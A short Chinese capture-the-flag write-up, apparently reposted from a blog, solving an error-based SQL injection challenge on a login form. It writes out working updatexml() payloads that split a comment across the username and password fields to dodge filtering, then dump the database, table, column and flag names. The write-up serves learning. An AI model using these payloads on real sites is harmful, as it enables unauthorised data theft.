加了料的报错注入

先查看源码找找突破口

发现了一个很关键的sql语句

$sql="select * from users where username='$username' and password='$password'"

再试试对导航栏进行注入

?username=1’ 没有如何反应

。。。。。有点尬。。。。试试bp抓下

打开页面,打开bp,打开代理,刷新一下

抓到了这么个东西

观察到

我们在导航栏输入的内容似乎并没有传进去

使用bp修改,但是我抓到的是GET数据,此题明显是POST型,就很无语。。。。找了半天没找到解决方法,就换其他的方法吧

。。。。。。。

这里我使用firefox的Max hackbar插件,(普通的hackbar收费了,搞了好久又没有弄出来,索性去下了给免费的。。。。)

有了工具还怕破不了题?

怎么可能!

username=1&password=1

username='or '1&password='or '1

发现不是注册用户

username='or '1&password='or '1#

发现报错,所以这里的#应该不能用,会被报错

username=1'&password=1报错

上网搜了下,这里要使用到updatexml函数,用法为and updatexml+注释语句

使用bp监测一些过滤,发现password后的内容会被过滤掉,所以这里使用/**/把password注释掉

形成注入语句username=1' and updatexml/*

&password=*/+注入语句

这里直接

username=1' and updatexml/*&password=*/(1,concat(0x7c,(select database()),0x7c),1) or '1

查出数据库名

再username=1' and updatexml/*&password=*/(1,concat(0x7c,(SELECT group_concat(table_name) from information_schema.tables where !(table_schema<>'error_based_hpf')),0x7c),1) or '1

 

查表名称

username=1' and updatexml/*&password=*/(1,concat(0x7c,(SELECT group_concat(column_name) from information_schema.columns where !(table_name<>'ffll44jj')),0x7c),1) or '1

查列名

查列下的数据

username=1' and updatexml/*&password=*/(1,concat(0x7c,(SELECT value from ffll44jj),0x7c),1) or '1

 

原文地址:https://www.cnblogs.com/wosun/p/11215710.html